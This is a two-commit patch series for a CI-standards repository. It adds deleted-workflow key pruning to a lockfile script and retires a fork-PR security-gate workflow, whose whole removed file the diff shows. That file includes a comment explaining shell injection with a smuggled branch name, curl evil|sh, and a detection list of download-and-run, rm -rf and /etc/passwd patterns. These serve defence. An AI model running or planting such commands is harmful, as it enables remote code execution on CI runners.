From dda59fa00fd95b73ce7cac61801e6e1060a40292 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 6 Oct 2026 19:31:35 +0100 Subject: [PATCH 1/2] fix(lock): prune-stale drops keys for deleted workflows Retiring a workflow left its actions.lock key behind: prune-stale emptied it to [], and check-lock-sync then failed with "lockfile entry for a workflow file that does not exist". The gate's own remediation, gh actions-lock, removes the key but also strips records used only by a local composite action (asana/push-signed-commits, setup-python@v2): the #947 regression that #954 reverted. prune-stale now drops a workflows: key, with its items, when both oracles agree that the file is gone: it matches nothing the workflow glob found, and -f on the path fails. The pass is scoped to the workflows: section and runs before the "nothing stale" early exit, so an already-[] key is caught too. prune-stale-test.sh: 14 passed, 0 failed. The pre-change script fails exactly the 3 new assertions (mutant check). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_012kgrMQRhSmZMBbF9Ui1zBw --- scripts/prune-stale.sh | 55 ++++++++++++++++++++++++++++--- scripts/tests/prune-stale-test.sh | 12 +++++++ 2 files changed, 62 insertions(+), 5 deletions(-) diff --git a/scripts/prune-stale.sh b/scripts/prune-stale.sh index f4bc8f679..70585106e 100755 --- a/scripts/prune-stale.sh +++ b/scripts/prune-stale.sh @@ -35,6 +35,18 @@ # Disagreement means KEEP. A parser blind spot therefore cannot delete a needed # entry (scripts/tests/prune-stale-test.sh plants exactly that blind spot). # +# ── A key whose workflow file is gone is dropped whole ────────────────────── +# Retiring a workflow is the limit case: every ref under its key is stale, and +# the key itself names a file that does not exist, which check-lock-sync.sh +# rejects ("lockfile entry for a workflow file that does not exist"). Leaving +# `[]` is not enough. `gh actions-lock` would remove the key, but it is blind +# to refs used only by a local composite action and drops those records too +# (#947 deleted asana/push-signed-commits that way; #954 restored it). The +# same two-oracle rule applies: a key is dropped only when it matches no file +# the workflow glob found AND `-f` on that path fails. The pass is scoped to +# the workflows: section, because dependencies: keys share the same shape and +# are never files. +# # Lock repair order: gh actions-lock → relock-sha-keys.sh → complete-job-refs.sh # → close-lock.sh → prune-stale.sh (see complete-job-refs.sh). # @@ -107,7 +119,23 @@ AWK TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT "$AWK" -v lockfile="$LOCK" "$CAND" "$LOCK" "${WORKFLOWS[@]}" | LC_ALL=C sort -u > "$TMP/cand.tsv" -if [ ! -s "$TMP/cand.tsv" ]; then +# ── keys whose workflow file is gone. Both oracles must agree. ───────────── +declare -A present=() +for wf in "${WORKFLOWS[@]}"; do present[".github/workflows/${wf##*/}"]=1; done +: > "$TMP/gone.txt" +while IFS= read -r key; do + [ -n "${present[$key]:-}" ] && continue + if [ -f "$WF_DIR/${key##*/}" ]; then + printf ' ! oracle disagrees, KEEPING key %s (file present, not matched by the glob)\n' "$key" + continue + fi + printf '%s\n' "$key" >> "$TMP/gone.txt" +done < <("$AWK" ' + /^workflows:[[:space:]]*$/ { inwf = 1; next } + /^[a-z_]+:/ { inwf = 0; next } + inwf && match($0, /^ '\''([^'\'']+)'\'':/, m) { print m[1] }' "$LOCK") + +if [ ! -s "$TMP/cand.tsv" ] && [ ! -s "$TMP/gone.txt" ]; then echo "prune-stale: no stale workflow-entry refs; lockfile unchanged" exit 0 fi @@ -125,7 +153,7 @@ while IFS=$'\t' read -r path ref; do printf '%s\t%s\n' "$path" "$ref" >> "$TMP/drop.tsv" done < "$TMP/cand.tsv" -if [ ! -s "$TMP/drop.tsv" ]; then +if [ ! -s "$TMP/drop.tsv" ] && [ ! -s "$TMP/gone.txt" ]; then echo "prune-stale: every candidate was vetoed by the literal-grep oracle; lockfile unchanged" exit 0 fi @@ -145,7 +173,11 @@ NR == FNR { drop[$1 SUBSEP $2] = 1; next } END { printf "prune-stale: pruned %d stale workflow-entry ref(s)\n", pruned + 0 > "/dev/stderr" } AWK -"$AWK" -F'\t' "$APPLY" "$TMP/drop.tsv" "$LOCK" > "$TMP/new.lock" +if [ -s "$TMP/drop.tsv" ]; then + "$AWK" -F'\t' "$APPLY" "$TMP/drop.tsv" "$LOCK" > "$TMP/new.lock" +else + cat "$LOCK" > "$TMP/new.lock" +fi # An entry left with no items must become an explicit empty list, or the YAML # key would take a null value and the schema would reject it. @@ -168,6 +200,19 @@ AWK } }' "$TMP/new.lock" > "$TMP/new2.lock" -if command -v diff >/dev/null 2>&1; then diff -u "$LOCK" "$TMP/new2.lock" | sed 's/^/ | /' || true; fi -cat "$TMP/new2.lock" > "$LOCK" +# Drop each gone key with its items, again scoped to the workflows: section. +"$AWK" ' + NR == FNR { gone[$0] = 1; next } + /^workflows:[[:space:]]*$/ { inwf = 1; skip = 0; print; next } + /^[a-z_]+:/ { inwf = 0; skip = 0; print; next } + inwf && match($0, /^ '\''([^'\'']+)'\'':/, m) { + skip = (m[1] in gone); if (skip) { dropped++; next } + } + skip && /^ - / { next } + { skip = 0; print } + END { if (dropped) printf "prune-stale: dropped %d key(s) for workflow files that no longer exist\n", dropped > "/dev/stderr" } +' "$TMP/gone.txt" "$TMP/new2.lock" > "$TMP/new3.lock" + +if command -v diff >/dev/null 2>&1; then diff -u "$LOCK" "$TMP/new3.lock" | sed 's/^/ | /' || true; fi +cat "$TMP/new3.lock" > "$LOCK" echo "prune-stale: done (oracle vetoes: $kept_by_oracle)" diff --git a/scripts/tests/prune-stale-test.sh b/scripts/tests/prune-stale-test.sh index de03b9e68..e2382b61f 100755 --- a/scripts/tests/prune-stale-test.sh +++ b/scripts/tests/prune-stale-test.sh @@ -52,6 +52,9 @@ workflows: - 'o/kept@v1' '.github/workflows/empty.yml': - 'o/gone@v1' + '.github/workflows/retired.yml': + - 'o/gone@v1' + '.github/workflows/retired-empty.yml': [] dependencies: 'actions/setup-node@$A': ref: '$A' @@ -70,11 +73,20 @@ grep -qxF " - 'o/kept@v1'" "$L" && grep -qF 'oracle disagrees, KEEPING o/ && ok "comment-only ref vetoed by the literal-grep oracle" || bad "comment-only ref vetoed by the literal-grep oracle" ! grep -qF "o/gone@v1" "$L" && ok "stale refs dropped from both workflows" || bad "stale refs dropped from both workflows" grep -qxF " '.github/workflows/empty.yml': []" "$L" && ok "emptied entry becomes []" || bad "emptied entry becomes []" +! grep -qF "retired.yml" "$L" && ok "key for a deleted workflow with refs dropped" || bad "key for a deleted workflow with refs dropped" +! grep -qF "retired-empty.yml" "$L" && ok "key for a deleted workflow already [] dropped" || bad "key for a deleted workflow already [] dropped" grep -qxF " 'actions/setup-node@$A':" "$L" && grep -qxF " commit: 'sha1-$A'" "$L" \ && ok "dependencies: records untouched" || bad "dependencies: records untouched" cp "$L" "$WORK/before"; out=$(cd "$WORK/r" && bash "$TARGET" 2>&1) cmp -s "$L" "$WORK/before" && ok "idempotent: second run changes nothing" || bad "idempotent: second run changes nothing — $out" +g="$WORK/g/.github/workflows"; mkdir -p "$g" +printf 'jobs:\n a:\n steps:\n - uses: actions/checkout@%s\n' "$A" > "$g/ci.yml" +printf 'workflows:\n '\''.github/workflows/ci.yml'\'':\n - '\''actions/checkout@%s'\''\n '\''.github/workflows/gone.yml'\'': []\ndependencies:\n' "$A" > "$g/actions.lock" +(cd "$WORK/g" && bash "$TARGET") >/dev/null 2>&1 +! grep -qF "gone.yml" "$g/actions.lock" && grep -qxF " - 'actions/checkout@$A'" "$g/actions.lock" \ + && ok "only a deleted workflow [] key stale: key dropped, live ref kept" || bad "only a deleted workflow [] key stale: key dropped, live ref kept — $(cat "$g/actions.lock")" + mkdir -p "$WORK/n/.github/workflows"; (cd "$WORK/n" && bash "$TARGET") >/dev/null 2>&1; st=$? [ "$st" = 1 ] && ok "no lockfile → exit 1" || bad "no lockfile → exit 1 (got $st)" From ce94e3f122dca9015e63ed8a01cc2c7e58aef294 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 6 Oct 2026 19:31:36 +0100 Subject: [PATCH 2/2] ci: retire security-gate-pr-target workflow The repo's Actions policy blocks the pull_request_target event, so this workflow has hit startup_failure on every PR and never gated anything. Owner decision (2026-10-06): retire it. - delete .github/workflows/security-gate-pr-target.yml - actions.lock: key removed by scripts/prune-stale.sh (previous commit); diff is exactly that 3-line key; every dependency record is kept (checkout@3d3c42e5 and github-script@3a2844b7 are still used elsewhere) - .hypatia-baseline.json: drop its 2 entries (#939, #942), 205 -> 203, a shrink the exemption ratchet allows - CICD-WORKFLOW-CATALOG.md: mark it retired and drop it from the gate checklist Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_012kgrMQRhSmZMBbF9Ui1zBw --- .github/workflows/actions.lock | 3 - .github/workflows/security-gate-pr-target.yml | 277 ------------------ .hypatia-baseline.json | 18 -- CICD-WORKFLOW-CATALOG.md | 3 +- 4 files changed, 1 insertion(+), 300 deletions(-) delete mode 100644 .github/workflows/security-gate-pr-target.yml diff --git a/.github/workflows/actions.lock b/.github/workflows/actions.lock index bc597cfc3..f22608b6d 100644 --- a/.github/workflows/actions.lock +++ b/.github/workflows/actions.lock @@ -140,9 +140,6 @@ workflows: - 'ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc' '.github/workflows/secret-scanner-reusable.yml': - 'actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1' - '.github/workflows/security-gate-pr-target.yml': - - 'actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1' - - 'actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3' '.github/workflows/self-test.yml': - 'actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1' '.github/workflows/settings-drift-detect.yml': diff --git a/.github/workflows/security-gate-pr-target.yml b/.github/workflows/security-gate-pr-target.yml deleted file mode 100644 index 84a28bca3..000000000 --- a/.github/workflows/security-gate-pr-target.yml +++ /dev/null @@ -1,277 +0,0 @@ -# This workflow is managed by gh actions-lock. -# SPDX-License-Identifier: MPL-2.0 -# 🔴 GATE: Security Gate for Fork Pull Requests -# This workflow is managed by gh actions-lock. -name: "🔴 GATE: Security Gate (Fork PRs)" - -on: - pull_request_target: - branches: [main, master] - types: [opened, synchronize, reopened, ready_for_review] - -# Least privilege: only the fork-PR job comments, so only it carries -# `pull-requests: write` (job level). `security-events: read` was dead — -# no step reads code-scanning alerts. -permissions: - contents: read - -# Critical: This runs in the BASE repository context, not the PR fork -# This allows safe scanning of untrusted code from forks -jobs: - security-check-fork-pr: - name: Security Checks for Fork PRs - if: github.event.pull_request.head.repo.fork == true - runs-on: ubuntu-latest - timeout-minutes: 15 - permissions: - # Job level replaces the top level — restate the checkout read grant - # alongside the PR-comment grant this job's github-script step needs. - contents: read - pull-requests: write - - steps: - - name: Checkout base repository - # NOSONAR githubactions:S7631 — this IS the remediated shape: the - # workflow checks out the BASE branch (never the fork's code) and - # only statically scans the PR diff; nothing from the fork executes. - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 NOSONAR - with: - # Explicitly checkout the base branch, not the PR branch - ref: ${{ github.base_ref }} - fetch-depth: 0 - - - name: Check if PR is from a fork - id: fork-check - env: - HEAD_IS_FORK: ${{ github.event.pull_request.head.repo.fork }} - HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} - HEAD_OWNER: ${{ github.event.pull_request.head.repo.owner.login }} - run: | - if [ "$HEAD_IS_FORK" = "true" ]; then - { - echo "is_fork=true" - echo "fork_repo=$HEAD_REPO" - echo "fork_owner=$HEAD_OWNER" - } >> "$GITHUB_OUTPUT" - else - echo "is_fork=false" >> "$GITHUB_OUTPUT" - fi - - - name: Extract PR branch for safe checkout - if: steps.fork-check.outputs.is_fork == 'true' - id: pr-checkout - env: - PR_BRANCH: ${{ github.event.pull_request.head.ref }} - FORK_REPO: ${{ github.event.pull_request.head.repo.full_name }} - run: | - # Check out the PR branch from the fork. - # - # SECURITY — read before editing. This job runs on - # `pull_request_target`, which means it executes in the BASE - # repository context holding BASE repository permissions. That is - # exactly why a fork's branch name must NEVER be interpolated into - # this script: interpolation is expanded into the script TEXT by the - # runner before bash ever parses it, so a fork branch named - # `x";curl evil|sh;"` would run here with this job's token. Being in - # the base context is what makes it dangerous, not what makes it - # safe. Both values therefore arrive through `env:` above and are - # only ever referenced as quoted shell variables. - # - # Do NOT write the literal two-brace expression syntax here, even - # inside a comment. The runner substitutes expressions into this - # script as TEXT before bash sees it, comments included, and an - # EMPTY one is a fatal workflow-parse error: it kills the whole - # workflow at startup with zero jobs. This gate was dead on main - # for exactly that reason. - case "$PR_BRANCH" in - ""|-*|*..*) - echo "::error::refusing to check out an unsafe branch name" - exit 1 - ;; - esac - - echo "Checking out PR branch from fork: $FORK_REPO/$PR_BRANCH" - - # Add the fork as a remote. A fresh checkout should never already - # have this remote; if this fails we want to know, not guess. - git remote add pr-fork "https://github.com/$FORK_REPO.git" - - # Fetch the PR branch. Do NOT swallow failure here: the scans below - # only inspect what is actually on disk, so a silently-tolerated - # fetch failure would let them run against the base repo's own - # tree while still reporting a fork PR as scanned and clean. - if ! git fetch pr-fork -- "$PR_BRANCH"; then - echo "::error::could not fetch PR branch '$PR_BRANCH' from $FORK_REPO — refusing to run the malicious-content/file-type scans against unverified content." - echo "pr_checked_out=false" >> "$GITHUB_OUTPUT" - exit 1 - fi - - # Checkout the fetched PR branch. No fallback to a same-named - # branch in the base repo: that would silently scan the wrong - # (trusted, non-fork) tree while still reporting success. - if ! git checkout -f "pr-fork/$PR_BRANCH"; then - echo "::error::could not check out fetched branch 'pr-fork/$PR_BRANCH' — refusing to run the malicious-content/file-type scans against unverified content." - echo "pr_checked_out=false" >> "$GITHUB_OUTPUT" - exit 1 - fi - - echo "pr_checked_out=true" >> "$GITHUB_OUTPUT" - - - name: Security Scan - Malicious Content Detection - if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' - id: malicious-scan - run: | - # Use gitleaks if available, otherwise basic grep - echo "🔍 Scanning for malicious content patterns..." - - MALICIOUS_PATTERNS=( - 'rm\s+-rf\s+/' - 'rm\s+-rf\s+\$' - 'exec\s+.*\|\s*bash' - 'wget\s+.*\|\s*sh' - 'curl\s+.*\|\s*sh' - 'chmod\s+777' - 'chmod\s+\+x\s+.*/\.bashrc' - 'chmod\s+\+x\s+.*/\.bash_profile' - 'echo\s+.*\>\s*/etc/passwd' - 'echo\s+.*\>\s*/etc/shadow' - ) - - found_issue=0 - for pattern in "${MALICIOUS_PATTERNS[@]}"; do - if grep -rlE "$pattern" . 2>/dev/null | grep -v '^\./\.git/' | grep -v test | grep -v example; then - echo "::error::Found potential malicious pattern: $pattern" - found_issue=1 - break - fi - done - - if [ $found_issue -ne 0 ]; then - echo "::error::Malicious content detected in PR" - exit 1 - fi - - echo "✅ No malicious patterns detected" - - - name: Security Scan - File Type Validation - if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' - id: file-type-scan - run: | - echo "🔍 Validating file types..." - - # Check for suspicious file types - SUSPICIOUS_FILES=$(find . -type f \ - -path './.git/*' -prune -o \ - \( -name '*.exe' -o -name '*.bat' -o -name '*.cmd' -o -name '*.ps1' \ - -o -name '*.vbs' -o -name '*.jse' -o -name '*.wsf' \ - -o -name '*.msi' -o -name '*.dll' -o -name '*.com' \ - -o -name '*.pif' -o -name '*.application' \ - -o -name '*.scr' -o -name '*.hta' \) \ - -print 2>/dev/null || true) - - if [ -n "$SUSPICIOUS_FILES" ]; then - echo "::warning::Suspicious file types detected:" - echo "$SUSPICIOUS_FILES" - echo "" - echo "These file types may indicate binary executables or scripts." - echo "Please verify these are legitimate and not malicious." - fi - - - name: Security Scan - Large File Detection - if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true' - id: large-file-scan - run: | - echo "🔍 Checking for unusually large files..." - - # Check for files > 10MB (GitHub's warning threshold) - LARGE_FILES=$(find . \ - -path './.git/*' -prune -o \ - -type f -size +10M \ - -print 2>/dev/null | head -20 || true) - - if [ -n "$LARGE_FILES" ]; then - echo "::warning::Large files detected (>10MB):" - for file in $LARGE_FILES; do - size=$(du -h "$file" | cut -f1) - echo " - $file ($size)" - done - echo "" - echo "Large files should be tracked with Git LFS or removed." - fi - - - name: Post Security Scan Comment - if: steps.fork-check.outputs.is_fork == 'true' - uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 - with: - script: | - const prNumber = context.issue.number; - const owner = context.repo.owner; - const repo = context.repo.repo; - - // Only post if we're in a PR context - if (context.issue.number) { - await github.rest.issues.createComment({ - issue_number: prNumber, - owner: owner, - repo: repo, - body: '✅ **Fork PR Security Pre-checks Passed**\n\n' + - 'This PR has passed the initial security validation for fork pull requests:\n' + - '• Secrets scanning\n' + - '• Malicious content detection\n' + - '• File type validation\n' + - '• Large file detection\n\n' + - 'Full CI suite will run when PR is accepted.' - }); - } - - # Fallback for non-fork PRs - just run basic checks - security-check-regular-pr: - name: Security Checks for Regular PRs - if: github.event.pull_request.head.repo.fork != true - runs-on: ubuntu-latest - timeout-minutes: 10 - - steps: - - name: Checkout repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - fetch-depth: 0 - - - name: Basic Security Validation - run: | - echo "✅ Regular PR - security validation delegated to standard workflows" - echo "This workflow only adds fork-specific security checks" - - final-summary: - name: Security Gate Summary - runs-on: ubuntu-latest - timeout-minutes: 10 - needs: [security-check-fork-pr, security-check-regular-pr] - if: always() - - steps: - - name: Checkout repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - - - name: Generate Summary - run: | - echo "## Security Gate (Fork PRs) Summary" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - - if [ "${{ needs.security-check-fork-pr.result }}" = "success" ]; then - echo "✅ Fork PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY - elif [ "${{ needs.security-check-fork-pr.result }}" = "failure" ]; then - echo "❌ Fork PR security checks: **FAILED**" >> $GITHUB_STEP_SUMMARY - else - echo "⚪ Fork PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY - fi - - if [ "${{ needs.security-check-regular-pr.result }}" = "success" ]; then - echo "✅ Regular PR security checks: **PASSED**" >> $GITHUB_STEP_SUMMARY - else - echo "⚪ Regular PR security checks: **SKIPPED**" >> $GITHUB_STEP_SUMMARY - fi - - echo "" >> $GITHUB_STEP_SUMMARY - echo "This gate provides additional security checks for pull requests from forks," >> $GITHUB_STEP_SUMMARY - echo "which cannot be trusted with the same permissions as internal branches." >> $GITHUB_STEP_SUMMARY diff --git a/.hypatia-baseline.json b/.hypatia-baseline.json index c113d25be..40b90b6ea 100644 --- a/.hypatia-baseline.json +++ b/.hypatia-baseline.json @@ -1148,15 +1148,6 @@ "expires_at": "2026-12-22", "tracking_issue": "hyperpolymath/standards#942" }, - { - "severity": "warn", - "rule_module": "research_extensions", - "type": "RE005", - "file": ".github/workflows/security-gate-pr-target.yml", - "note": "TOLERATED PENDING CLASSIFICATION (hypatia triage 2026-09-22): flagged exit-masking step not yet reviewed; verify fail-closed-with-fallback or file a masking bug.", - "expires_at": "2026-12-22", - "tracking_issue": "hyperpolymath/standards#942" - }, { "severity": "warn", "rule_module": "research_extensions", @@ -1418,15 +1409,6 @@ "expires_at": "2026-12-22", "tracking_issue": "hyperpolymath/standards#939" }, - { - "severity": "medium", - "rule_module": "content_patterns", - "type": "download_then_run_shell", - "file": ".github/workflows/security-gate-pr-target.yml", - "note": "FALSE POSITIVE (hypatia triage 2026-09-22): rule matches the scanner's own detection patterns/comments in this file; no real download-then-run present (verified).", - "expires_at": "2026-12-22", - "tracking_issue": "hyperpolymath/standards#939" - }, { "severity": "medium", "rule_module": "content_patterns", diff --git a/CICD-WORKFLOW-CATALOG.md b/CICD-WORKFLOW-CATALOG.md index 778e68595..bba000288 100644 --- a/CICD-WORKFLOW-CATALOG.md +++ b/CICD-WORKFLOW-CATALOG.md @@ -46,7 +46,7 @@ These workflows **block** merges if they fail. They enforce critical estate-wide | `main-estate-audit.yml` | Estate audit checks | rsr-template-repo | Yes | | `scorecard.yml` | OSSF Scorecard | rsr-template-repo | Yes | | `scorecard-reusable.yml` | Reusable Scorecard | standards | Yes | -| `security-gate-pr-target.yml` | **NEW:** Security gate for fork PRs | standards | No | +| ~~`security-gate-pr-target.yml`~~ | **RETIRED 2026-10-06:** the Actions policy blocks `pull_request_target`, so it never ran (startup_failure on every PR) | standards | No | | `estate-rules.yml` | Estate-wide conventions enforcement | rsr-template-repo | No | | `guix-policy.yml` | Guix/Nix package policy | knot-rider (canonical) | No | | `secret-scanner.yml` | Secrets detection | rsr-template-repo | Yes | @@ -234,7 +234,6 @@ Use sparingly - only when certain it's a false positive. - [ ] `hypatia-scan.yml` - GATE - [ ] `secret-scanner.yml` - GATE - [ ] `main-estate-audit.yml` - GATE -- [ ] `security-gate-pr-target.yml` - GATE (for fork PR security) - [ ] `check-suite-monitor.yml` - CHECK (for CI health monitoring) ### Recommended (Most Repos)